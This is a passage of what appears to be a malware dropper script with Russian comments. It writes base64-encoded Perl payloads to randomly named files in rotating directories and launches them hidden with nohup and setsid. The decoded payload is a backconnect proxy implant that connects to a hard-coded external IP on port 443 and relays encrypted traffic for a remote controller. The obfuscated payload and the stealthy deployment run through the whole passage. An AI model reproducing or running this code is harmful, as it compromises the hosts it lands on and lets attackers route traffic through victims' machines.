bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #30 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #30 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 31 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg 